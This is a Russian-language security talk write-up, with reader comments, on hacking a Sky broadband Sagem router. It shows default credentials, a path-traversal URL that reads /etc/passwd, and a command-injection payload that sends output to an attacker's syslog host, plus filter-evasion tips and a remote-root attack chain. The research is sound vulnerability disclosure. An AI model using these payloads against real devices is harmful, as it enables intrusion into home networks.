20.11.2011

Взлом встроенных устройств

image

Весело и полезно

Автор: Hacker Fantastic



О чем пойдет речь в статье:

  • Что такое и где можно встретить встроенные устройства?
  • Чему нас учит история?
  • Предостережения и дефекты встроенных платформ.
  • Методики оценки встроенных устройств
  • Тематическое исследование: обзор пользовательских устройств

Что такое и где можно встретить встроенные устройства?

Что угодно и где угодно!

Почему это должно меня волновать?

  • Встроенные устройства зачастую являются «черными ящиками»
    • Минимальное количество или полное отсутствие документации и исходного кода;
    • Обеспечение защищенности посредством отсутствия информации об устройстве
  • Позиционирование как «защищенных» устройств
    • История показывает, что вендоры далеко не всегда говорят правду
  • Поставка вместе с программным обеспечением провайдера, обеспечивающим безопасность
    • Антивирусы
    • Брандмауэры
  • Хронология уязвимостей
    • DD-WRT Remote Root
    • O2 Wireless Box CSRF
    • BeThere BeBox бэкдор
    • BTHomeHub CSRF & More
  • Повышение интереса хакеров к пользовательским устройствам
    • Червь Psyb0t

История повторяется

  • Как правило, работа устройства осуществляется без разграничения привилегий
    • Все операции выполняются с максимальными правами
    • SYSTEM / root (uid = 0) для всех процессов
    • Один дефект может скомпрометировать всю платформу
  • Разработчики встроенных платформ не заботятся о безопасности
    • Часто код пишется в небезопасной манере
    • Имеют место XSRF/XSS
    • Наличие логических и интерфейсных багов (например, возможность обхода каталога)
    • Ошибки переполнения буфера
  • Редкое повторное использование библиотек
    • Устройства используют открытые библиотеки на разных платформах
    • SNMP
    • UPnP
    • BusyBox
    • TinyHttpd, Micro_Httpd и т.д.

Исследование Sky broadband

  • Законность и оценки
    • Кому что принадлежит?
    • Получение разрешения
    • Нарушение лицензий открытого и GPL кода
  • Оценка безопасности
    • Сканирование портов и последующий анализ
    • Известные UPnP уязвимости
  • Пример утечки информации
    • Аудит исходного кода
    • Подготовка тестов
    • Использование уязвимости
  • Определение и использование уязвимости нулевого дня
    • Поиск потенциального бага
    • Обход ограничений
    • Создание remote root эксплойта

Законность и оценки

  • Как правило, широкополосное оборудование арендуется
    • Оборудование принадлежит провайдеру
    • Для доступа необходимо письменное разрешение
    • Пользование услугами службы поддержки и службы безопасности
    • Нарушение соглашений
    • Вещь, часто используемая для усмирения интереса исследователей
  • Открытое ПО и GPL
    • Вендоры часто нарушают GPL
    • Вендоры частично используют GPL исходный код без изменений

Локальная сеть:

Порт

21/TCP

FTP отключен.

23/TCP

Telnet отключен

53/TCP

Dnsmasq-2.23

80/TCP

micro_httpd

1863/TCP

Неизвестно

1864/TCP

Неизвестно

4443/TCP

Неизвестно

5190/TCP

Неизвестно (возможно, SIP)

5431/TCP

UPnP

5566/TCP

Неизвестно

30005/TCP

Неизвестно

Глобальная сеть:

Порт

1863/TCP

Неизвестно

1864/TCP

Неизвестно

4443/TCP

Неизвестно

5190/TCP

Неизвестно (возможно, SIP)

5566/TCP

Неизвестно

30005/TCP

Неизвестно

Версия прошивки:

Version 1.9 Sky

Linux 2.4.x / Linux 2.6.x

SAGEM F@ST2504

Имя пользователя и пароль по умолчанию admin/sky.

Известные уязвимости UPnP:

  • Универсальный Plug and Play
    • Может использоваться для автоматической конфигурации различных устройств
    • Позволяет форвардинг внутренних портов во внешнюю сеть
    • Используется для настройки перенаправления портов «на лету»
  • Miranda – свободно распространяемая UPnP-оболочка для аудита.
  • http://code.google.com/p/mirandaupnptool/
  • GNUCitizen флеш UPnP уязвимость
    • Демонстрация отправки UPnP через флеш
    • Форвардинг внутренних портов в интернет
      • Необходимо знать порт
      • Необходимо знать IP адрес, который необходимо форвардить
  • Адреса Sky по умолчанию: myrouter.home и 192.168.0.1

Пример UPnP атаки (Miranda)

UPnP атака (отображение портов)

Используй исходники, Люк!

  • Защита от просмотра директорий в micro_httpd.c
  • 74: if ( sscanf( line, "%[^ ] %[^ ] %[^ ]", method, path,
  • protocol ) != 3) …
  • 83: if ( path[0] != '/’ ) …
  • 85: file = &(path[1]); …
  • 90: if ( file[0] == '/' || strcmp( file, ".." ) == 0 ||
  • strncmp( file, "../", 3 ) == 0 || strstr( file, "/../" ) !=
  • (char*) 0 || strcmp( &(file[len-3]), "/.." ) == 0 ) …
  • GET /../ HTTP/1.1
    • Найдены различные варианты
    • Попытки запросить файл не из переменной PATH не увенчались успехом
    • Защита micro_httpd при обычных операциях

Проверяем защиту!

  • Скомпилируйте код как программу на С для быстрой проверки

Взлом устройств с помощью STAT()

  • Micro_httpd включает Sky/Sagem для CGI
  • Модифицировав исходный код можно обойти проверки безопасности.
  • Аргументы для файлов в CGI скриптах могут позволить смотреть только одну директорию
    • ../ не может использоваться в качестве CGI аргумента
    • Одной папки достаточно, чтобы добраться до корня файловой системы.
  • Использование sky_temp.html – ключевой фактор для получения stat() файлов
    • /sky_temp.html?status=501&title=&text=&this_file=../etc/passwd
    • Если файл или папка существует, в response будет значение «Не возвращено ни одного элемента»
    • Теперь можно проверить все файлы и папки на устройстве

Утечка информации STAT().

Вывод информации о содержимом папки /bin с помощью python- или shell-скрипта.

Обнаружение уязвимости при выполнении команд.

  • Используя доступный web-интерфейс пользователя, я протестировал все поля для ввода и request на уязвимость внедрения команд
    • Использовались обычные для shell управляющие символы ; ‘ | &
    • с помощью уязвимости STAT() была найдена папка /bin/ping
    • пробовались команды вроде |/bin/ping 192.168.0.3
  • Направленная атака инъекцией команд.
    • Результат атаки можно видеть на странице
    • Слепая инъекция команд
    • Перехват и сетевого трафика сниффером
  • Определена уязвимость DynDNS
    • Введенные пользователем данные передаются в shell из CGI аргументов

Попытка эксплуатации уязвимости

Замечания по найденной уязвимости

  • Возможна только слепая инъекция команд
  • Длина вводимых команд не должна превышать 40 символов
  • Не допускаются команды telnet и netcat
  • Получение результата выполнения команд через DNS
    • Работает через UDP
    • Может использоваться для обработки строковых данных
    • Довольно сложно в реализации
  • Получение результата выполнения команд через SYSLOG
    • Работает через UDP
    • Позволяет обрабатывать строковый результат
    • Вероятно, уже реализовано
  • Советы и хитрости
    • В качестве пробела можно использовать $ISF
    • Для перенаправление stderr в stdout можно использовать 2>&1
    • Можно попытаться использовать проблемные с точки зрения кодировки для URL символы (2>%261)

Создание оболочки эксплойта

  • Настройка IP нарушителя как удаленного syslogd
    • Может быть произведена через web-интерфейс
  • Прослушивание 514 порта UDP на syslog сообщения
  • Использование инъекции команд
    • ddnsHostname= |logger =p 0 “’ls /bin’”
    • данная команда отправит вывод ‘ls /bin’ в удаленный syslog
  • Псевдо-интерактивная оболочка позволяет проводить атаку эффективнее
    • Оболочка позволяет просматривать файлы
    • Появляется возможность загрузки/скачивания двоичных файлов
    • Можно смотреть настройки устройства

Беги, Форрест, беги! А вот и оболочка.

Пользователи и пароли

  • Скрытые пользователи в файле паролей не описаны в руководствах
    • Root был переименован в admin
    • Добавлена возможность аутентификации по паре user/user
    • Отсутствие возможности смены пароля – обход аутентификации
    • Для чего нужны другие пользователи?

Встроенный сниффер сети.

Передать файл? – Используем TFTP!

Что по поводу интернета?

  • Пользователь нажимает на ссылку, выполняется XSS или IFRAME атака
    • UPnP публикует web службу Sky в WAN
    • Можешь использовать IFRAME чтобы перевести деньги с карты? (подсказки)
      • Get работает не хуже POST
      • Возможные пути атаки
    • Доступная по умолчанию аутентификация парой user/user. Не изменили пароль? Обход аутентификации!
    • Нарушитель устанавливает IP адрес как syslog демон
    • Нарушитель запускает псевдо интерактивную оболочку на устройстве и получает права администратора благодаря httpd.
    • Теперь нарушитель может использовать сниффер сети, скачивать/закачивать файлы в/из сети и т.д.

Последствия и риски?

Hacker Fantastic

Блог/Twitter/Код и прочие полезные вещи

http://www.hackerfantastic.com

Благодарю за внимание!

или введите имя

CAPTCHA
Прогульщик
21-11-2011 08:21:55
Тема конечно интересная. Обычно клепатели ембеддедов заботятся в первую очередь о том, как всё это хозяйство уместить в и без того тощие ресурсы встроенной системы, а безопасность - дело десятое. Чай не сервер городим, ага.
0 |
RU_LIDS
21-11-2011 11:13:46
Чай не сервер городим, ага. Отмазка?как всё это хозяйство уместить в и без того тощие ресурсы встроенной системыИ вот именно бажный upnp там абсолютно необходим! С tcpdump-ом! Касаемо тощих ресурсов: Вы в курсе сколько весит tcpdump с libpcap? Треть флеша, если не половину.
0 |
Прогульщик
21-11-2011 15:15:46
Отмазка?Не моя, а клепателей. А на какой хрен они поставили туда tcpdump - не знаю. Видать их техсуппорт как-то их юзает. А upnp бывает очень нужен. Бажный или нет - это уже на совести клепателей.
0 |
труъкулхацкер
10-02-2012 09:41:03
про tcpdump сильно сказано! молодец, мужик, уважаю!
0 |
RU_LIDS
21-11-2011 11:15:24
Ждем продолжение про linksys
0 |
LOR_bot
23-11-2011 19:05:05
В качестве пробела можно использовать $IFSfixed
0 |
dima
15-03-2012 06:47:26
занимательная статейка, буду испытывать =)
0 |